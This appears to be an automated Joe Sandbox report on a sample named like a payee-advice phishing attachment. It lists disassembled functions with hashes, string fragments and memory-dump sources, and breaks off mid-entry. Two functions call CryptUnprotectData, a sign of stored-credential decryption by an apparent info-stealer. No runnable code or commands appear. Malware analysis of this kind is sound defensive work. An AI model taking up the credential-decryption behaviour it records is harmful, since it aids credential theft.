Instruction Fuzzy Hash: BC81B474E40218CFDB18DFAAD884A9DBBF2BF89300F14C069E418AB365DB349981CF54

Function 0011D278 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 0011D2EA
PH^q, xrefs: 0011D4E0
PH^q, xrefs: 0011D4CF
LjAp, xrefs: 0011D46D
LjAp, xrefs: 0011D457

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 3cc1b21d5e2782c2ddec905fd30086f2be88140b46a1ca0c6178f41303045357
Instruction ID: fdc6facaab5fe013181582dec15dafdd99463f51d84e23e96cad0f9c321b6cff
Opcode Fuzzy Hash: 3cc1b21d5e2782c2ddec905fd30086f2be88140b46a1ca0c6178f41303045357
Instruction Fuzzy Hash: F381A574E00218CFDB18DFAAD984A9DBBF2BF89300F14D069E459AB365DB349985CF50

Function 0011CCD8 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0011CF40
PH^q, xrefs: 0011CF2F
LjAp, xrefs: 0011CEB7
LjAp, xrefs: 0011CECD
0oAp, xrefs: 0011CD4A

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: e02d05d4d4f24f5190d208f164072cd9f32ca13616a5421cccc756728461b6b1
Instruction ID: bf3d6cd31ad3d03f1f9a7e28a766ee88689f1a4ff892ff4c57f35431fbc5f4bd
Opcode Fuzzy Hash: e02d05d4d4f24f5190d208f164072cd9f32ca13616a5421cccc756728461b6b1
Instruction Fuzzy Hash: E281C274E41218DFDB18DFAAD884A9DBBF2BF89300F14C069E419AB365DB349985CF50

Function 0011CFAB Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 0011D01A
LjAp, xrefs: 0011D187
PH^q, xrefs: 0011D1FF
PH^q, xrefs: 0011D210
LjAp, xrefs: 0011D19D

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 21f7eccaa74164bb31b7262ab82a1496424abb4dc0ce0a77a519ed0548e87cd1
Instruction ID: 20543a72e28fe9050eff2ff78c2c51cae04cd0de96e50fad25825ef92ef13b7b
Opcode Fuzzy Hash: 21f7eccaa74164bb31b7262ab82a1496424abb4dc0ce0a77a519ed0548e87cd1
Instruction Fuzzy Hash: B2817274E00218DFDB18DFAAD984A9DBBF2BF89300F149069E419AB365DB349985CF50

Function 0011C738 Relevance: 6.4, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 0011C9A0
LjAp, xrefs: 0011C92D
0oAp, xrefs: 0011C7AA
PH^q, xrefs: 0011C98F
LjAp, xrefs: 0011C917

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 3de6ebe92b1e48b51cb471dfdad74139c146388eca64e25a454986055f769ab0
Instruction ID: 2024f83823736154018ac3e9519ddb3e362d04321bbb9b1025ab26038f0dd4f2
Opcode Fuzzy Hash: 3de6ebe92b1e48b51cb471dfdad74139c146388eca64e25a454986055f769ab0
Instruction Fuzzy Hash: 9C81B374E40218CFDB18DFAAD984A9DBBF2BF88300F14D069E419AB365DB349985CF50

Function 00119E79 Relevance: 6.1, Strings: 4, Instructions: 1083COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0011AB13
T, xrefs: 00119E86
4'^q, xrefs: 00119F0C
(o^q, xrefs: 0011A518

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$T
API String ID: 0-3578494146
Opcode ID: 5230861e5a80de8c9bd4507046040a467760ebbc9bed31db06eb555664f058cd
Instruction ID: f139fa2ac482e165fc7275a08a6821d392f3df24f7f7edbe3ac27d2eef69fc4b
Opcode Fuzzy Hash: 5230861e5a80de8c9bd4507046040a467760ebbc9bed31db06eb555664f058cd
Instruction Fuzzy Hash: AD927D70A05209DFCB19CFA8C994AEEBFB2BF88310F558565E405DB2A1D731ED81CB52

Function 001129EC Relevance: 5.5, Strings: 4, Instructions: 489
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xbq, xrefs: 00112AD8
Xbq, xrefs: 00112BA4
Xbq, xrefs: 00112A9E
Xbq, xrefs: 00112B57

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 1c17d2edae0596445fdc6759a9568d1ec26f2a18d812e58fdbd86d8cf97802d1
Instruction ID: b07d0b448728cc2b0634b22114e47d17f295d1a424f6bbde6ff438c23e975fb4
Opcode Fuzzy Hash: 1c17d2edae0596445fdc6759a9568d1ec26f2a18d812e58fdbd86d8cf97802d1
Instruction Fuzzy Hash: 2D02F23184D3D58FCBA78B78886019A7FB2AF47314B5A04FBC8818B567E3794D85CB51

Function 36A55028 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 36A58408

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: d3efc9243849fd2961e56d322765b43332b96212156070fa087be194aa6a91f4
Instruction ID: e444920a8dec1972df0cec52ab79fe0f7b752a6c6bd76b931a156531957ab3f0
Opcode Fuzzy Hash: d3efc9243849fd2961e56d322765b43332b96212156070fa087be194aa6a91f4
Instruction Fuzzy Hash: 8B73E731C1075A8EDB11EF68C854A99FBB1FF99300F51D69AE44877221EB70AAD4CF81

Function 373AB8D1 Relevance: 1.9, APIs: 1, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4207044486.00000000373A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373a0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2a74e17e5842f04d1cda57094f77bd42e4bd904243f6e45a181853affdccbcf
Instruction ID: 983ad58572f9468f789724890054f14ba4fb82eb4e3cd6eafb8c681ebdf4e786
Opcode Fuzzy Hash: a2a74e17e5842f04d1cda57094f77bd42e4bd904243f6e45a181853affdccbcf
Instruction Fuzzy Hash: 34E17975A10309CFEB44CFA8C88AB9DBBF1FF88314F158569E409AB265DB74A945CF40

Function 36C487A8 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 36C48F5D

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 11cd86649193ec4ad179bb1407eedfe217d7973544abbc4b1825df51e8bb7f8a
Instruction ID: 194f3c2646e0ca16a54bb3a310e7a53eadbfca55c90dd976fde8bf757d29545d
Opcode Fuzzy Hash: 11cd86649193ec4ad179bb1407eedfe217d7973544abbc4b1825df51e8bb7f8a
Instruction Fuzzy Hash: 401164B2800209AFDB11DF99C800BDEBBF5EB48320F10841AEA18A7210C375A550CFA4

Function 36C48EF1 Relevance: 1.6, APIs: 1, Instructions: 53encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 36C48F5D

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: faa0189a4fec450b773006da6cd9746795e074010fb966af43fcb8b4ae6bc08d
Instruction ID: 8eb89927361b75e89124a38fca50437454aaacbb577ff8241fabfe6011dfdce9
Opcode Fuzzy Hash: faa0189a4fec450b773006da6cd9746795e074010fb966af43fcb8b4ae6bc08d
Instruction Fuzzy Hash: E81176B6800249DFDB11DF99C901BDEBFF1EF48320F14882AE958A7210C339A590DFA5

Function 36CED710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206509170.0000000036CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36ce0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1f0ba4edab30d994395d10f725a5e3e8cacb56fceb9d4774f99a481ea38d315
Instruction ID: dc86f4c65bf8756d5381a67a23f3d3931f21b73dcda416341fbb3d1bfc93cf38
Opcode Fuzzy Hash: d1f0ba4edab30d994395d10f725a5e3e8cacb56fceb9d4774f99a481ea38d315
Instruction Fuzzy Hash: 92825A74E012288FDB64DF69C998BDDBBB2BF89301F1081EA940DA7265DB315E85DF40

Function 36A59548 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0221066b0052ad5a21314d1f171d657704a7e647a9e5647fe56c7c55942286d8
Instruction ID: c8009e4a1f59a12f3c0df750cb52558303328d091e06cb4a7db40e9c5e0e3650
Opcode Fuzzy Hash: 0221066b0052ad5a21314d1f171d657704a7e647a9e5647fe56c7c55942286d8
Instruction Fuzzy Hash: A8F1F274E01258CFDB14DFA9D884B9DBBB2BF88304F51C1A9E948AB355DB309986CF50

Function 36C47B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96bb43e8d382fe68d21af40c421600e92a452097c838be479311df87ee549da4
Instruction ID: 5afac8e1f0ecb5a2a3d15979cedc1c332c21487781d7636f4e56cdd483a2ce69
Opcode Fuzzy Hash: 96bb43e8d382fe68d21af40c421600e92a452097c838be479311df87ee549da4
Instruction Fuzzy Hash: A9E1C074E01218CFEB14DFA5C944B9DBBB2BF89304F2081A9D809B73A5DB359A85CF14

Function 36CF1CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206536124.0000000036CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cf0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e6c7cf5728adc0bd1d5dc03950124256c9c35161253d7a13726a89a6e3e9279
Instruction ID: 009420aa7114c59a4ea85b06b156602f841925219f4986dadfec26477594aa1d
Opcode Fuzzy Hash: 6e6c7cf5728adc0bd1d5dc03950124256c9c35161253d7a13726a89a6e3e9279
Instruction Fuzzy Hash: 6CD18074E00218CFEB54DFA5C994B9DBBB2BF89300F1081A9D809AB364DB359E85CF55

Function 36CB6678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206412392.0000000036CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cb0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41de10b9ff0164118e5829b5ee08b1182e41d8e7140e7d7f3520a9778856de69
Instruction ID: c0435c91b669628697d8b051db11b640367b4eeda302727d37b22696e45bbf34
Opcode Fuzzy Hash: 41de10b9ff0164118e5829b5ee08b1182e41d8e7140e7d7f3520a9778856de69
Instruction Fuzzy Hash: B4D19F74E00218CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB354DB359E85CF55

Function 36C48FB0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 932c0509781be37fe5d5afc19154d9744e11e86a06f762cedb1b03eee1a1aaa8
Instruction ID: 844c40df2c13f2186d7b678358f435a5ee51bb6d520ba5d557f5b7adccfe5ae0
Opcode Fuzzy Hash: 932c0509781be37fe5d5afc19154d9744e11e86a06f762cedb1b03eee1a1aaa8
Instruction Fuzzy Hash: 62D19E74E01218CFDB55DFA9C984B9DBBB2EF89300F1081A9D809BB364DB359986CF11

Function 36C4D308 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dc6a668e2f70463c14459bf2c4fb9b7e72f5415d386b7b2a7e26a685f82d1c8
Instruction ID: 338efaa2b64daf66d8253cdb89cb501ed7fd70ef83ee351e64c675599cc8b0e1
Opcode Fuzzy Hash: 5dc6a668e2f70463c14459bf2c4fb9b7e72f5415d386b7b2a7e26a685f82d1c8
Instruction Fuzzy Hash: B0D19F74E01218CFDB55DFA9C990B9DBBB2EF89300F1080A9D809BB364DB359986DF15

Function 36A52968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca732bdfcf09ea0b3a9b3bd3c55618649c63870e6988c58c017a468ca468d41
Instruction ID: dcc7e5bd4ca16a6f8871eee3c930ea3c07a70abecd9887d6b60cb7412e92fc55
Opcode Fuzzy Hash: 9ca732bdfcf09ea0b3a9b3bd3c55618649c63870e6988c58c017a468ca468d41
Instruction Fuzzy Hash: 40C19074E01218CFDB14DFA9C944B9DBBB2BF88304F2080A9D809AB365DB355E86DF54

Function 36C43008 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206347491.0000000036C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 36C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36c40000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9126111d5c3955522833bf4071342532de7563f09f1da8d9b0d06ff63a6cf84
Instruction ID: e2c6842b03fdc95d171c024ba7756eb6682988530f2db91b80a837d1b6a2b70f
Opcode Fuzzy Hash: f9126111d5c3955522833bf4071342532de7563f09f1da8d9b0d06ff63a6cf84
Instruction Fuzzy Hash: 0DC19174E01218CFEB15DFA5C944B9DBBB2AF89300F5080A9D809BB365DB359E86CF54

Function 36D33E60 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206650220.0000000036D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d30000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6f531bb3a44a15c1af708ea8e9485443a32652ea46b7678a0742a209f2b86d5
Instruction ID: b7e72a768beefe5258a4a86b1acff4fb205d20e093a0c76d965930f376630e95
Opcode Fuzzy Hash: f6f531bb3a44a15c1af708ea8e9485443a32652ea46b7678a0742a209f2b86d5
Instruction Fuzzy Hash: DA915B75905609CFEB14AFA0C9987EEBBB5FB4A306F105429D102772D0CB7C4A85CFA9

Function 36D33E70 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206650220.0000000036D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 36D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d30000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c4c84c6847040542b83759d775a687d898ba16d1ff20a570198e7a3d1b3f66
Instruction ID: 1ac520ede366630efe8a2387c1c631770e0cb1ccc09fcc24e70928abbda1a147
Opcode Fuzzy Hash: 37c4c84c6847040542b83759d775a687d898ba16d1ff20a570198e7a3d1b3f66
Instruction Fuzzy Hash: A7914A75905609CFEB14AFA0C9987EEBBB5FB4A306F105429D102772D0CB7C4A85CFA9

Function 36A51E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8ef8e98d5468c631c7926a2173112b212148f64bb0f268e963278597681e92c
Instruction ID: 7cd197365f91fd266da72a9ca9e3e46852241de827b8c251aad296e682300e3d
Opcode Fuzzy Hash: a8ef8e98d5468c631c7926a2173112b212148f64bb0f268e963278597681e92c
Instruction Fuzzy Hash: 78A1B374E012288FEB64CF6AC954B9DFBF2BB88300F14C0AAD948A7254DB345A85CF54

Function 36A52DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa390f4dcf25783c74a04bdebd391c1544969694066c36776234a15b0d67888
Instruction ID: 5054cfef82e242d1e310623b78660a511255d12ad25c7adddbfd6df8bf2b08b9
Opcode Fuzzy Hash: 0aa390f4dcf25783c74a04bdebd391c1544969694066c36776234a15b0d67888
Instruction Fuzzy Hash: 32A11370D002088FEB14DFA9D984BDDBBB1FF89304F209269E508BB2A1DB759985CF54

Function 36A517A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 412402dccffd02a0e15ce785d6a0e53e3a405565d8f13753d70d2da2b40e9b76
Instruction ID: 3bc9740ebe0781cabd9be303e7d015bd88c5a88806c655f61c9f2212fbefeda5
Opcode Fuzzy Hash: 412402dccffd02a0e15ce785d6a0e53e3a405565d8f13753d70d2da2b40e9b76
Instruction Fuzzy Hash: C6A191B5E01229CFEB64CF6AC944B9DBBF2BF88300F15C1A9D948A7250DB345A85CF51

Function 36A5310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 871659ad526de6384f1663ea722b112bc8df4814d690add299d7e96bf0b6ad33
Instruction ID: bd0894bfbefc3a419bbba888ae94d38df4ea3220124c917e5752a67dd5d8cfb4
Opcode Fuzzy Hash: 871659ad526de6384f1663ea722b112bc8df4814d690add299d7e96bf0b6ad33
Instruction Fuzzy Hash: 84910270D00218CFEB10DFA9D884B9CBBB1FF89314F209269E549BB291EB719985CF54

Function 36CE70C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206509170.0000000036CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36ce0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa142651f6c26f0db91ddc509f388658f01aadcbbfca3d312652c8bf98859507
Instruction ID: 9fa019eda918a7ec8b66675a2736153f3eb01745265d238aaa3f60e87e96d5c9
Opcode Fuzzy Hash: aa142651f6c26f0db91ddc509f388658f01aadcbbfca3d312652c8bf98859507
Instruction Fuzzy Hash: 9581A174E04218CFEB14DFA9C994A9DBBB2FF89304F208169D809BB354DB359986CF54

Function 36CF8470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206536124.0000000036CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cf0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb36d13b97c65ae8d048b861145544024b55ea1333cc6896f2701372691ae6b1
Instruction ID: 44f309def08115ca5fc9d3ab2ed3eb888e84b23f088fbc249f69fb23fc4562a2
Opcode Fuzzy Hash: fb36d13b97c65ae8d048b861145544024b55ea1333cc6896f2701372691ae6b1
Instruction Fuzzy Hash: 2B81A174E05218CFEB14DFA9C990A9DBBB6FF89304F208129D805BB354DB355986CF54

Function 36CFFB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206536124.0000000036CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cf0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a94aa37f7841def6537f3fde363345ee07821ab7cd565bfa3c4b976464f8e12
Instruction ID: 8f8c3aebea8338dec7cb8f98641681e991eb83b2c0d470a32738f5fcfa3922da
Opcode Fuzzy Hash: 5a94aa37f7841def6537f3fde363345ee07821ab7cd565bfa3c4b976464f8e12
Instruction Fuzzy Hash: EA81A074E04218CFEB14DFA9C990A9DBBB2FF88304F208129D819BB354DB359986CF54

Function 36A5FC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8bbe5fff873132dc30c3e512151598107995d20385ff5805ad104d45657c298
Instruction ID: b0403a933619923d37d4d68fc676c1bce103203c4d4fb390b278f8fe78e8b599
Opcode Fuzzy Hash: e8bbe5fff873132dc30c3e512151598107995d20385ff5805ad104d45657c298
Instruction Fuzzy Hash: C081A074E04218CFEB14DFA9C990A9DBBB6FF89304F208129D809BB354DB359986CF54

Function 36CED700 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206509170.0000000036CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36ce0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f6fe9daa623ca71757afe676a7e5c02f6fd09f77cdf1a27a7629a51594acc7b
Instruction ID: fb6be5eb095c6d63faddedb1eb1ad951c54cc52d312a35a81ba6d90a1c37e43c
Opcode Fuzzy Hash: 8f6fe9daa623ca71757afe676a7e5c02f6fd09f77cdf1a27a7629a51594acc7b
Instruction Fuzzy Hash: 7781A074E412289FEB65DF69C990BDDBBB2BF89300F1080EAD948A7255DB315E81CF44

Function 36A5178F Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e8c99d760c2b914fe630682e8a8adc01008b5a669f0d468763620988b204e4d
Instruction ID: 41626c9089d936b92eb00d71e2faa10c1b875dd0facd8d5cf5cc2b263664664f
Opcode Fuzzy Hash: 8e8c99d760c2b914fe630682e8a8adc01008b5a669f0d468763620988b204e4d
Instruction Fuzzy Hash: 1671B6B5E012188FEB68CF6AC944B9DBBF2BF88300F14C1E9D548A7254DB744A85CF10

Function 0011E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9fa93a3848000740d6e25bef54998b5f892f2fdb7b1ffa796e1593a1b110f68
Instruction ID: 2b4f33d827a2d4884c05a5d4fd7d955fed82fb47b807dbb195ca3d2d8b33da74
Opcode Fuzzy Hash: e9fa93a3848000740d6e25bef54998b5f892f2fdb7b1ffa796e1593a1b110f68
Instruction Fuzzy Hash: 92519474E00208DFDB18DFAAD584A9DBBF2FF88300F248429E815AB364DB359945CF54

Function 0011E97B Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1349452cc1a0f47fc34a42ac973b4014aba6f76a2fd705ae559d0a50c6ba68
Instruction ID: b1954ee1bc7e3561a4da02cbfe7b29318c8fd36b153453a9b78d166edf57e85f
Opcode Fuzzy Hash: 0d1349452cc1a0f47fc34a42ac973b4014aba6f76a2fd705ae559d0a50c6ba68
Instruction Fuzzy Hash: 2251A374E00208DFDB18DFAAD984A9DBBF2FF88300F248429E815AB365DB359845CF54

Function 0011D548 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
